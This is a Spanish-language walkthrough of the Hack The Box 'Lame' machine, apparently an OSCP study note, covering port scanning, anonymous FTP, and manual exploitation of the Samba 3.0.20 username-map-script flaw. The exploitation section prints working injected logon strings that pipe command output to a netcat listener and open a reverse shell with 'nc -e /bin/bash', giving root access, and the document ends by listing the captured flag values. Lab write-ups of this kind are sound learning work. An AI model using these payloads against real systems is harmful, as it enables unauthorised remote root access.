Inicio Lame
Entrada
Cancelar

Lame

Lame

Desktop View

Resolution summary

  • Busqueda puertos abiertos
  • Login anonimo con FTP y ver que no tiene archivos ni los podemos subir
  • Buscar vulnerabilidades FTP
  • Buscar vlnerabilidades Samba 3.0.20
  • Explorar archivo metasploit
  • Ejecutarlo a mano
  • Ganar acceso

Improved skills

  • searchsploit
  • mejorar shell

Used tools

  • nmap
  • smbclient
  • searchsploit
  • stty raw -echo; fg

Information Gathering

Scanned all TCP ports:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.4.93 -oG allPorts

Extract all ports:

1
extactPorts allPorts

Enumerated open ports:

1
nmap -sCV -p 10.129.4.93 -oN targeted

Enumeration

Port 21 - FTP vsftpd 2.3.4

Encontramos el puerto 21 abierto y que nos indica que tiene Anonymous login. Desktop View

Hacemos login anonimo en [[FTP]] con:

1
ftp 10.129.4.93

Como usuario ponemos anonymous y contraseña damos al enter directamente. Vemos que si listamos con ls no nos muestra nada. Con ls -la nos muestra que esta vacio. Si creamos un archivo para intentar subirlo…

1
nano texto.txt

Y en el ftp:

1
put texto.txt

Desktop View

Vemos que no tenemos capacidad de escritura y no podemos subir el archivo. Vamos a probar a buscar en searchsploit por la version del vsfftpd

1
searchsploit vsftpd 2.3.4

Desktop View

Localizamos el archivo python y nos le movemos al directorio de exploits.

1
2
locate 49757.py 
cp /usr/share/exploitdb/exploits/unix/remote/49757.py 

Ejecutamos el archivo con :

1
python3 49757.py

Y vemos que no funciona ni conseguimos nada, asi que puede que sea un rabbit hole y no nos funcione. Probamos con otro puerto.

Port 445 - Samba smbd 3.0.20

Observamos que es una version de [[Samba]] asi que la buscamos en searchsploit con :

1
searchsploit Samba 3.0.20 

Obtenemos:

Desktop View

La que mas nos llama la atención es en .rb es decir en Ruby por lo que es una herramienta de metasploit. Aunque para el OSCP no podemos usar metaspolit podemos revisar el código del exploit para ver que contiene y si podemos explotarlo nosotros solos.

1
2
locate 16320.rb
cp /usr/share/exploitdb/exploits/unix/remote/16320.rb .

Hacemos cat para leerlo. Para leerlo en colores correspondientes al lenguaje:

1
bat 16320.rb -l ruby

Observamos como interesante lo siguiente:

Desktop View

Vemos que nos resulta bastante interesante la manera en la que se autentifica con el /=nohup /=nohup se suele emplear cuando a la hora de inyectar un comando cuando nos otorgamos una rever shell, cuando nos mata la sesión. Antes de que nos mate la sesión si tu la reverse shell la lanzas ocn un nohup a la izquierda del todo, antes de mandarle el nc /bin/bash o lo que corresponda. Con eso ya deberíamos tener la rever shell sin perder la sesión. Aunque no siempre funciona.

Primero vamos a probar a ver si podemos listar los recursos compartidos a nivel de red de este servidor con un Null sesión. [[SMB]]

1
smbclient -L 10.129.4.93 -N

Desktop View Si buscamos este error en google, nos dirán que podemos hacer para solucionar este pequeño problema.

Encontramos una posible solución que es añadir la opción client min protocol = NT1, entonces el comando quedaría así:

1
smbclient -L 10.129.4.93 -N  --option 'client min protocol = NT1' 

Y funciona:

Desktop View


Exploitation

User Map Script

Ahora que hemos visto los recursos compartidos vamos a intentar conectarnos a uno, probaremos con tmp:

1
smbclient //10.129.4.93/tmp -N  --option 'client min protocol = NT1' 

Vemos que si que podemos acceder a ello. Tal y como hemos visto en el exploit,

1
username = "/=`nohup " + payload.encoded + "`"

Esto nos indica que si ponemos el usuario seguido del payload y cerramos, podamos ejecutar esos comandos. Probemos con un whoami Para iniciar sesion tenemos el comando logon en smb

1
logon "/=`nohup whoami | nc 10.10.14.48 4567`"

nos ponemos en escucha por tanto en el Puerto 4567:

1
nc -nlvp 4567

Nos pedira una contraseña pero ponemos cualquiera:

Desktop View Y en el netcat obtenemos…

Desktop View

Podemos probar tambien si estamos dentro de la maquina que queremos atacar con este comando:

1
logon "/=`nohup ifcofig | nc 10.10.14.48 4567`"

nos ponemos en escucha por tanto en el peurto 4567:

1
nc -nlvp 4567

Como vemos que si que obtenemos la misma IP y por tanto es la maquina que queremos atacar directamente pasamos una [[reverse shell]]: Nos ponemos en escucha con [[netcat]]

1
nc -nlvp 4567

Y ponemos:

1
logon "/=`nohup nc -e /bin/bash 10.10.14.48 4567`"

Y en la pestaña de la Reverse shell obtenemos acceso a la maquina. Como la consola es mala nos la vamos a mejorar lanzando una pseudo consola:

1
script /dev/null -c bash

La consola mejora pero no podemos hacer ctrl + L y si hacemos ctrl + C nos cargamos la [[Reverse shell]] si ponemos :

1
echo $SHELL

Observamos la variable de entorno shell que es correcta pero la variable de entorno TERM no:

1
echo $TERM

Ahora lo vamos a cambiar. Nos salimos con ctrl + Z Y ponemos el siguiente comando. Siempre que ganamos acceso a un sistema ponemos este comando

1
stty raw -echo; fg

==Y aunque no nos aparezca para escribir ponemos==

1
reset xterm

Y ya tenemos nuestra Reverse shell con la posibilidad de hacer ctrl + C

Ahora navegamos a /home/makis y ahi obtenemos la user flag Tambien podemos obtenerla directamente, aunque no siempre funciona, con:

1
find \-name user.txt | xargs cat

Como somos usuario root, lo podemos comprobar con whoami Navegamos a por la flag root. Localizamos con locate root.txt o con el comando anterior pero adaptandolo y nos movemos a ese directorio.


Privilege Escalation

Ya somos usuarios root no hace falta escalar privilegios.


Trophy & Loot

user.txt ==f51b25a33076c1723054b17761414b47== root.txt ==bff3c645765e55a5954ab3ced2ce9892==

Esta entrada está licenciada bajo CC BY 4.0 por el autor.